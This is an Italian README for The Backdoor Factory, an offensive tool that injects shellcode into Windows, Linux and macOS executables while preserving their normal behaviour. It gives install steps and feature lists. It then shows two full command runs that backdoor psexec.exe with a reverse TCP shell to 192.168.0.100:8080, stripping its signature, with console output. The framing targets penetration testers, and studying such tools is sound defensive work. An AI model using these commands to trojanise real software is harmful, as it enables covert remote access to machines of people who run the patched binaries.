Applica patch ai binari PE, ELF e Mach-O con shellcode, nuova versione in sviluppo, disponibile solo per gli sponsor
Solo per professionisti della sicurezza e ricercatori.
L'obiettivo di BDF è patchare eseguibili binari con lo shellcode desiderato dall'utente e continuare la normale esecuzione dello stato pre-patchato.
Black Hat USA 2015:
Video: https://www.youtube.com/watch?v=OuyLzkG16Uk
Paper: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf
Shmoocon 2015:
Video: https://archive.org/details/joshpitts_shmoocon2015
Paper: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf
DerbyCon 2014:
Video: http://www.youtube.com/watch?v=LjUN9MACaTs
DerbyCon 2013:
Video: http://www.youtube.com/watch?v=jXLb2RNX5xs
Demo del modulo di injection: http://www.youtube.com/watch?v=04aJAex2o3U
Slides: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory
Contatta lo sviluppatore su:
IRC:
irc.freenode.net #BDFactory
Twitter:
@midnite_runr
Sotto licenza BSD 3 Clause
Vedi la wiki: https://github.com/secretsquirrel/the-backdoor-factory/wiki
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py
####Dipendenze #####Per usare OnionDuke devi essere su una macchina Intel perché aPLib non supporta ancora il chipset ARM.
Capstone engine può essere installato da PyPi con:
sudo pip install capstone
Pefile, versione più recente:
https://code.google.com/p/pefile/
osslsigncode (incluso nel repository):
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/
Installazione su Kali:
apt-get update
apt-get install backdoor-factory
ALTRA INSTALLAZIONE *NIX/MAC:
./install.sh
Questo installerà Capstone con pip 3.01 per installare pefile.
AGGIORNAMENTO:
./update.sh
Supporto:
Windows PE x86/x64, ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32),
e Mach-O x86/x64 e questi formati nei file FAT
File compressi: PE UPX x86/x64
Sperimentale: OpenBSD x32
Alcuni eseguibili hanno protezioni integrate, quindi questo non funzionerà su tutti i binari. È consigliabile testare i binari target prima di distribuirli ai clienti o usarli in esercitazioni. Sono sul punto di bypassare NSIS, quindi il bypass di questi controlli sarà incluso in futuro.
Molte grazie a Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Senza di lui, starei ancora cercando di fare cose stupide
con il formato ELF.
Grazie anche a Silvio Cesare con il suo paper del 1998
(http://vxheaven.org/lib/vsc01.html) su cui queste tecniche
di patching ELF si basano.
./backdoor.py -h Usage: backdoor.py [options]
##Caratteristiche:
###File PE
Può trovare tutti i code cave in un EXE/DLL.
Per impostazione predefinita, azzera il puntatore alla tabella dei certificati PE, rimuovendo così la firma da un binario.
Può iniettare shellcode nei code cave o in una nuova sezione.
Può determinare se un binario PE deve essere eseguito con privilegi elevati.
Quando si selezionano i code cave, è possibile usare i seguenti comandi:
-Jump (j), per il salto tra code cave
-Single (s), per patchare tutto lo shellcode in un unico cave
-Append (a), per creare un code cave
-Ignore (i o q), lascia perdere, ignora questo binario
Può ignorare le DLL
Patching della Import Table
AutoPatching (-m automatic)
Onionduke (-m onionduke)
###File ELF
Estende di 1000 byte (in byte) il TEXT SEGMENT e inietta lo shellcode in quella sezione di codice.
###File Mach-O Patching della sezione Pre-Text e rimozione della firma
###In generale
L'utente può:
-Fornire shellcode personalizzati.
-Patchare una directory di eseguibili/dll.
-Selezionare solo binari x32 o x64 da patchare.
-Includere BDF in altri progetti Python, vedi pebin.py e elfbin.py
###Patchare un exe/dll usando un code cave esistente:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths: (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
###Patchare un exe/dll aggiungendo una sezione di codice:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory